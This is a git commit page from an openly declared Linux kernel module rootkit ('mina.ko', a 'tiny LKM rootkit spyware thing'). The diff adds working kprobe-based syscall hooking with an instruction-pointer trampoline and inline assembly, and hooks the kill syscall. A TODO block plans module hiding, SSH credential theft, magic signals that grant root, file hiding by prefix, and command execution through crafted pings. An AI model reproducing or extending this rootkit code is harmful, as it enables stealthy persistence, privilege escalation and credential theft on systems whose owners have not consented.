mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

commit 8bebb8f74738eede6084d466dd34248b310e1403
parent ca6f40c073809523286c93f834476081ae21ca15
Author: djnn <[email protected]>
Date: Wed, 11 Dec 2024 16:31:34 +0900

feat(hooks): simple `kill` hook ^-^

Diffstat:
Mrootkit/Makefile | 4+++-
Arootkit/hooks/kill.c | 15+++++++++++++++
Mrootkit/includes/mina.h | 29++++++++++++++++++++++++++---
Mrootkit/mina.c | 116++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++---------

4 files changed, 147 insertions(+), 17 deletions(-)

diff --git a/rootkit/Makefile b/rootkit/Makefile
@@ -11,7 +11,9 @@ MINA_CLIENT_ID = meow
 
 # kernel vars cant define with patsubst for some fucking reason
 obj-m := mina_$(MINA_CLIENT_ID).o
-mina_$(MINA_CLIENT_ID)-objs := mina.o
+mina_$(MINA_CLIENT_ID)-objs := mina.o 		\
+							hooks/kill.o
+
 
 # TODO(djnn): add compile-time debug mode using macros
 
diff --git a/rootkit/hooks/kill.c b/rootkit/hooks/kill.c
@@ -0,0 +1,15 @@
+
+#include "../includes/mina.h"
+
+void *_kill = NULL;
+
+int magic_flag = 0;
+
+asmlinkage int64_t h_kill(const struct pt_regs *r) {
+  _kill = (!_kill) ? hook_linear_search("__x64_sys_kill") : _kill;
+
+  magic_flag = (magic_flag != 0);
+  printk(KERN_INFO "switched magic flag to %d. MEOW...\n", magic_flag);
+
+  return make_syscall(_kill, r);
+}
diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -1,9 +1,32 @@
 #ifndef __KERNEL_MINA_H
 #define __KERNEL_MINA_H
 
-#include <net/sock.h>
-
+#include <linux/init.h>
+#include <linux/kernel.h>
 #include <linux/module.h>
-#include <linux/path.h>
+
+#include <linux/kprobes.h>
+
+#define MINA_INHOOK_FLAG (0x1337)
+
+typedef struct mina__hook {
+    /* https://www.kernel.org/doc/Documentation/kprobes.txt */
+    struct kprobe kpb;
+    void *hook;
+
+    /* do we need anything else here ? */
+
+} hook_t;
+
+
+/* HOOKS definitions :) */
+asmlinkage int64_t h_kill(const struct pt_regs *);
+
+
+// hooks/utils.c
+int nb_hooks(void);
+void *hook_linear_search(const char *hk_name);
+int make_syscall(void *callme, const struct pt_regs *regs);
+int __hook_tranpoline(struct kprobe *kp, struct pt_regs *r);
 
 #endif
diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -2,39 +2,129 @@
 #include <linux/kernel.h>
 #include <linux/module.h>
 
-MODULE_LICENSE("MIT");
+#include "includes/mina.h"
+
+MODULE_LICENSE("GPL");
 MODULE_AUTHOR("djnn <[email protected]>");
 MODULE_DESCRIPTION("mina LKM rootkit^-^");
 MODULE_VERSION("0.0.1");
 
 /*
-
- * mina.ko/rootkit => tiny LKM rootkit spyware thing loosely based
- * on ngn (https://ngn.tf)'s shrk: https://github.com/ngn13/shrk
+ * mina.ko/rootkit => tiny LKM rootkit spyware thing
  * written by djnn (https://djnn.sh)
+ */
 
-*/
+hook_t SYS_HOOKS[] = {
+    /* used to trigger actions, prevent from killing some process */
+    {.hook = NULL, .kpb = { .symbol_name = "__x64_sys_kill" } },
+
+};
+
+int nb_hooks(void) {
+    return (sizeof(SYS_HOOKS) / sizeof(SYS_HOOKS[0]));
+}
+
+void *hook_linear_search(const char *hk_name) {
+    for (int i = 0; i < nb_hooks(); i++) {
+        if (!strcmp(SYS_HOOKS[i].kpb.symbol_name, hk_name))
+            return SYS_HOOKS[i].kpb.addr;
+    }
+
+    /* NOTE(djnn): what to do if the hook is not found ? */
+    return NULL;
+}
+
+int make_syscall(void *callme, const struct pt_regs *regs) {
+
+    /* to avoid recursively call hook, we check in hook if r14 == MINA_INHOOK_FLAG */
+
+    int ret = 0;
+    asm("mov %1, %%r14;"
+            "mov %2, %%rdi;"
+            "call *%3;"
+            "mov %%rax, %0"
+            : "=m"(ret)
+            : "i"(MINA_INHOOK_FLAG), "r"(regs), "m"(callme)
+            : "%r14", "%rdi", "%rax");
+    return ret;
+}
+
+int __hook_tranpoline(struct kprobe *kp, struct pt_regs *r) {
+
+    if (r->r14 == MINA_INHOOK_FLAG)
+        return 0;
+
+    for (int i = 0; i < nb_hooks(); i++) {
+        if (kp == &SYS_HOOKS[i].kpb) {
+            r->ip = (uint64_t)SYS_HOOKS[i].hook;
+            return 1;
+        }
+    }
+    return 0;
+}
+
+static void __setup_hooks(void) {
+    hook_t *iter = NULL;
+
+    printk(KERN_INFO "[MINA] setting up hooks\n");
+
+    for (int i = 0 ; i < nb_hooks(); i++) {
+        iter = &SYS_HOOKS[i];
+        iter->kpb.pre_handler = __hook_tranpoline;
+
+        if (register_kprobe(&iter->kpb) != 0) {
+            printk(KERN_INFO "[MINA] failed to register kprobe for %s", iter->kpb.symbol_name);
+            continue;
+        }
+
+        printk(KERN_INFO "[MINA] hooked %s (0x%px => 0x%px)",
+                iter->kpb.symbol_name,
+                iter->kpb.addr,
+                iter->hook);
+    }
+}
+
+static void __remove_hooks(void) {
+    hook_t *iter = NULL;
+
+    printk(KERN_INFO "[MINA] taking down hooks\n");
+
+    for (int i = 0 ; i < nb_hooks(); i++) {
+        iter = &SYS_HOOKS[i];
+
+        printk(KERN_INFO "[MINA] removing hook for %s (0x%px => 0x%px)",
+                iter->kpb.symbol_name,
+                iter->hook,
+                iter->kpb.addr);
+
+        unregister_kprobe(&iter->kpb);
+    }
+}
 
 static int __init module_start(void) {
     printk(KERN_INFO "meow ~\n");
 
+    __setup_hooks();
+
     /*
-        TODO(djnn):
+       TODO(djnn):
 
-        - remove module from module list & hide it
-        - execute:
-            * Sending a signal 1312(to any pid) makes the module become (in)visible;
-            * Sending a signal 6969(to any pid) makes the given user become root;
-            * Files or directories starting with the MAGIC_PREFIX become invisble;
-            * Possibility to execute commands by pinging the machine with MAGIC_PREFIX in data field
+       - remove module from module list & hide it
+       - execute:
+     * steal ssh credentials,
+     * Sending a signal 1312(to any pid) makes the module become (in)visible,
+     * Sending a signal 6969(to any pid) makes the given user become root,
+     * Files or directories starting with the MAGIC_PREFIX become invisble,
+     * Possibility to execute commands by pinging the machine with MAGIC_PREFIX in data field
 
-    */
+*/
 
     return 0;
 }
 
 static void __exit module_end(void) {
     printk(KERN_INFO "meow meow\n");
+    __remove_hooks();
 }
 
 module_init(module_start);